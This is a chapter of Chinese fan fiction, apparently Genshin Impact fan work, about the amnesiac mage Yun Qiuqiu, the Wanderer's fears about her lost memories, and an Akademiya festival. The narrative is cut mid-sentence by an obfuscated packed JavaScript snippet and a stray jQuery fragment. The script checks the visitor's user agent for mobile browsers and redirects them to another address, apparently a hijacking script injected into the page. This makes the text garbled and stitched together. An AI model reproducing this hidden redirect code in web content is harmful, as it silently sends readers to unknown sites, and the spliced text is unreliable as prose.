如果说,在物品上烙下魔法,从而延展物品的空间,或者利用魔法驱动一些物品正常运行这些都属于可以理解和接受的范围内,毕竟原本物品都是客观存在的,施展魔法只不过是在这些物品之上加入一些功能而已,就像可以给衣服缝个口袋,从而增加衣服携带物品的功能。
可这座房子不一样,这已经不是简简单单建一座房子,然后在房子里画魔法阵扩展空间了,而是这座房子本来就是由魔法捏造而出,整座房子的建材不是木石砖瓦,而是魔法。
这完全就是凭空造物!
这不科学!
已经完全不是唯物主义了,变成唯心主义了啊!
虽然用科学来限定魔法有几分耍流氓的意味,而且科学似乎也解释不了魔法,至少科学要求的是自然界客观存在的事物。
凭空造物,这种能力岂是凡人唔够拥有?
云秋湫的指尖颤抖,脑海里的思绪乱作一团,过去的她究竟是什么样的人?为什么会拥有这种能力?如果过去的她拥有这种能力,那现在的她呢?
她看着自己的手中慢慢出现的金色光辉,最后还是握起拳头,将那金色光辉捏碎。
现在的她完全做不到。
这不仅仅需要极高的天赋,还要难以想象的魔法底蕴,凭现在的云秋湫是完全做不到的。
“店长。”
流浪者的声音从身后传来,云秋湫回过神,转头看向他,没有放过他眼中闪过的那丝担心。
她扯了扯嘴角,对他扬起一个安抚的笑容:“没事没事,不要担心。”
语罢,她默默起身,将家具重新摆放好。
“时间不早了,先休息吧,你明天还要上学呢。”
说完后,云秋湫疲惫的回到自己的卧室,换上睡衣,把自己摔到床上,抱着黑色的猫咪玩偶,深深叹了口气。
脑海里庞大的信息量让她的大脑有点‘消化不良’,完全没有办法想象过去的自己究竟是怎么凭空建造出一座房子的。
哪怕刚才的那些突然冒出的信息让她熟知了方法和魔法知识,但凭现在的她根本做不到凭空造物,就算凭空造出一颗小石子都十分费劲,更不要说一整座房子了。
现在的她对过去的自己心里只剩下‘佩服’二字,竟然凭一己之力凭空造出一整座房子,不可谓不佩服,她对自己佩服的肝脑涂地。
她揉了揉有些胀痛的太阳穴,只觉得自己的大脑已经开始停摆,索性闭上眼睛放空大脑,让自己慢慢进入睡眠。
过了一会儿,就在云秋湫马上要睡过去的时候,卧室门突然被推开了,她睁开眼睛朝房间门口看去,就见帚飞悄咪咪的把自己的身体往她的房间里塞。
“帚飞?怎么了?”云秋湫做起来,疑惑地看着这把魔法扫帚。
只见帚飞慢慢磨蹭到她的床边,然后靠在她的床尾,安静的陪着她。
到底是自己的造物,云秋湫一下子就明白了帚飞的意思,她一时失笑:“你要陪我一起睡?好啊。”
得到她的同意之后,帚飞高兴的转了一圈,然后就靠在她的床尾,安安静静,不吵不闹。
云秋湫理解这孩子的想法,毕竟被独自关在那间屋子里那么久,它想自己也正常,所以它想要守着自己,云秋湫便也由着它去了。
随着房子里的灯熄灭,一切陷入寂静,云秋湫躺在床上安稳入睡。
帚飞就安静陪着她,时不时抬头看看她还在那,生怕自己再次被独自关起来。
与此同时,躺在次卧床上的流浪者倒是失眠了。
人偶不需要睡眠,但也可以入眠,按道理来说,睡眠对他还是很简单的,知识不知道是不是认床的原因,还是帚飞出现的原因,总之他罕见的失眠了。
从床上坐起来,他轻轻叹了口气,一只手掩面,思绪不觉飘远。
流浪者的记忆里,他虽然没有见过那把魔法扫帚几面,但似乎每一次见面他对它的主人的态度都十分恶劣。
帚飞很护主,把他这个恶劣的家伙当成坏人也正常。
可流浪者不知道帚飞对他到底知道多少,那是一个定时炸弹,随时都有让云秋湫恢复全部记忆的可能。
而他也清楚地知道,恢复记忆代表着什么。
恐怕到时候云秋湫还没来找他算账,那段记忆就已经将她的精神彻底击溃,逼得她不得不踏入死亡。
流浪者可以接受云秋湫恢复记忆,也可以接受云秋湫将他现在拥有的一切全部毁掉,接受云秋湫不再承认他这个家人,甚至亲手杀掉他。
可他唯独不能接受云秋湫在亲手手刃他之前,先他一步踏入死亡。
他可以死,可云秋湫不能死。
唯独她,绝对不可以。
过去的她明明那么努力的求生,可所有人都忽略了她的求救信号,甚至厌恶的践踏她。
流浪者知道人类的恶意究竟多么残忍,他也深知自己的罪孽早已无可挽回,可知道又如何?
那将近五百年全部的残忍皆是由云秋湫独自承受,无人分担。
死亡对她来说是最奢侈的解脱,或许某一瞬间她想要坦然接受死亡,可她偏偏选择继续活着。
她拼尽全力选择活着。
流浪者不知道究竟是什么在支撑她,可他知道,过去的她好不容易实现的愿望,绝对不能被打破。
帚飞的身上不确定性太多,但他知道,帚飞一定也想要云秋湫一直快乐幸福下去,所以绝对不会让事情往最坏的结果发展的。
既然底层逻辑如此,那一切便好办了很多。
流浪者想,他需要找一个时间跟帚飞好好谈谈。
哪怕这把魔法扫帚对他的敌意很大,坐下来和平的聊聊是不可能的事情,但他依旧还是要去谈谈的,哪怕再一次被帚飞‘扫地出门’。
……
接下来几日,云秋湫不断接着委托,而周围有关学院庆典的声音越来越多,特别是学者之间的讨论越发热烈。
云秋湫也不免对学院庆典多了几分关注,再加上她还知道流浪者要参加学院争霸赛,所以做委托时也多留意了几分这方面的消息。
然后她发现那些学者知道的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16691536|183148||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
似乎还没有她多。
至少她先前还占卜出来了参加学院争霸赛的六位选手,而那些不知情的学者还在争论各个学派的代表究竟是谁。
让她没有想到的是先前找她占卜的那个学者居然没有把消息放出去,嘴巴也是真的严。
当然也不排除对方是想要放出去消息,但刚有一点苗头就被风纪官请去喝茶了这种可能。
除却有关于学院争霸赛的消息,她还听说学院庆典的时候可以摆摊,云秋湫打算申请一个摊位,到时候正好可以边在摊位卖星星边占卜,以及给流浪者加油。
学院庆典人流量很大,摆摊的话还能增加她的店铺知名度,说不定能给她吸引一大波流量。
有了打算之后,云秋湫连忙从官方那里弄了一张摊位申请表,刚填完,就被流浪者看见,他便提议他去教令院上课的时候顺便帮她把申请表交上。
而他们的运气很好,第二天流浪者下课就带着摊位申请许可证回来了。
云秋湫当晚高兴的多做了好几道菜。
转眼就到了学院庆典开始的时间,云秋湫一大早就带着星星们和帚飞还有小十二,搬着桌子、凳子和小黑板去了先前申请的摊位地点,云秋湫把桌子摆放好,每一个星星都背着一瓶小星星,到了地方后,它们将一瓶瓶小星星整整齐齐地摆好。
很快小摊子便支好,周围一个个小摊也逐渐摆好,附近的人流量逐渐多了起来,相信过不了多久就会有人来光顾摊子。
这时候恰逢学院庆典的开幕式,云秋湫嘱托好帚飞和星星们看好摊子,自己前往开幕式现场给流浪者加油打气。
周围的人很多,摩肩接踵,人群喧闹,大家对学院庆典的热情度都很高。
到底是四年一度的教令院传统,而且又能看到各个学派的天才齐聚一堂比试,人们自然兴趣高涨。
云秋湫压着自己的帽子,在人群中挤来挤去,好一会儿才挤到前排。
刚到前排,就看见了眼熟的人。
那位金发旅行者跟他的白色飞行物伙伴正在跟学者交流,似乎在了解有关学院争霸赛的消息。
云秋湫则伸长脖子张望,试图寻找流浪者的身影。
但可惜,人太多了,她并没有找到那个带着大帽子的少年。
但她看到了评委席的那位书记官,据说主动辞退了代理大贤者的职位,前段时间她做委托的途中没少听人说这位的事情,大部分人都对此很唏嘘,但那是别人的选择,那些人也没理由当面指手画脚,只能背后悄悄讨论。
而那位书记官的旁边是在大巴扎跳舞并且十分受大家欢迎的妮露小姐。
云秋湫有时候忙里偷闲去大巴扎玩,恰好碰到妮露小姐的演出时间,便驻足停留了一会儿,她十分赞叹妮露小姐的舞姿,功底十分扎实,可见其背后努力之深。让人不得不感慨真实台上一分钟台下十年功。
就在她思绪乱飘之际,主持人已经登上台,开始宣布各个学派的代表。
云秋湫连忙竖起耳朵,眼睛亮晶晶的盯着台上的人,期待着自家孩子的出场。